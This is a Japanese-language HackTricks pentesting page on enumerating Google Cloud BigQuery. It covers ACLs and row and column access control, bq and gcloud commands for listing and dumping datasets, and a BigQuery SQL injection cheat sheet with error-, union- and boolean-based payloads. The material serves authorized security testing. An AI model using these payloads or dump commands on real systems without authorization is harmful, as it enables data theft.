GCP - Bigquery Enum

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

基本情報

Google Cloud BigQueryは、完全に管理された、サーバーレスのエンタープライズデータウェアハウスであり、ペタバイト単位のデータを分析する機能を提供し、大規模なデータセットを効率的に処理します。Platform as a Service(PaaS)として、手動の監視なしでデータ管理を容易にするためのインフラストラクチャとツールをユーザーに提供します。

ANSI SQLを使用したクエリをサポートしています。主要なオブジェクトは、データセットに含まれるテーブルで、SQL データを含んでいます。

暗号化

デフォルトではGoogle管理の暗号化キーが使用されますが、**Customer-managed encryption key (CMEK)**を構成することも可能です。データセットごとおよびデータセット内のテーブルごとに暗号化キーを指定することができます。

有効期限

データセットに有効期限を指定することができ、このデータセットで作成された新しいテーブルは、作成後指定された日数後に自動的に削除されます。

外部ソース

BigQueryは他のGoogleサービスと深く統合されています。バケツ、pub/sub、Googleドライブ、RDSデータベースからデータをロードすることが可能です。

データセットACL

データセットが作成されると、アクセス権限を付与するためにACLが添付されます。デフォルトでは、データセットを作成したユーザーには所有者権限が与えられ、その後、プロジェクトの所有者グループ(projectOwners)に所有者権限が与えられ、プロジェクトライターグループにはライター権限が与えられ、プロジェクトリーダーグループにはリーダー権限が与えられます。

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

テーブル行のアクセス制御

テーブル内のアクセス可能な行を制御することができます。これは、行アクセスポリシーを使用してテーブル内で定義されます。DDLを使用して定義されます。 アクセスポリシーはフィルタを定義し、そのフィルタに一致する行のみが指定された主体によってアクセス可能になります。

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

カラムアクセス制御

カラムレベルでデータアクセスを制限するには:

  1. タクソノミーとポリシータグを定義します。データのためのタクソノミーとポリシータグを作成および管理します。https://console.cloud.google.com/bigquery/policy-tags

  2. オプション:作成したポリシータグの1つ以上に、Data Catalog Fine-Grained Readerロールを1人以上のプリンシパルに付与します。

  3. BigQueryのカラムにポリシータグを割り当てします。BigQueryでは、スキーマ注釈を使用して、アクセスを制限したい各カラムにポリシータグを割り当てます。

  4. タクソノミーでアクセス制御を強制します。アクセス制御を強制すると、タクソノミー内のすべてのポリシータグに定義されたアクセス制限が適用されます。

  5. ポリシータグでアクセスを管理します。Identity and Access Management (IAM) ポリシーを使用して、各ポリシータグへのアクセスを制限します。ポリシーは、ポリシータグに属する各カラムに対して有効です。

ユーザーがクエリ実行時にカラムデータにアクセスしようとすると、BigQueryはカラムポリシータグとそのポリシーをチェックして、ユーザーがデータにアクセスする権限があるかどうかを確認します。

要約すると、特定のユーザーに対して特定のカラムへのアクセスを制限するには、スキーマのカラムにタグを追加し、ユーザーのアクセスをタグに制限することができます。これにより、タグのタクソノミーでアクセス制御を強制できます。

タクソノミーでアクセス制御を強制するには、サービスを有効にする必要があります:

gcloud services enable bigquerydatapolicy.googleapis.com

次の方法で、列のタグを表示できます:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

列挙

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQLインジェクション

詳細については、ブログ投稿を確認できます:https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac。ここでは、いくつかの詳細が提供されます。

コメント:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ ただし、最初のものだけが機能しません

  • select 1--from here it is not working

環境に関する情報を取得します:

  • 現在のユーザー:select session_user()

  • プロジェクトID:select @@project_id

データセットテーブル、および名を取得します:

  • プロジェクトデータセット名:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • テーブルの名前:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • 同じプロジェクト内の他のデータセット:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

SQLインジェクションの種類:

  • エラーベース - キャスティング: select CAST(@@project_id AS INT64)

  • エラーベース - ゼロ除算: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • ユニオンベース: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • ブールベース: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • 潜在的な時間ベース - パブリックデータセットの使用例: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

ドキュメント:

特権昇格とポストエクスプロイテーション

pageGCP - BigQuery Privesc

永続性

pageGCP - BigQuery Persistence

参考文献

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新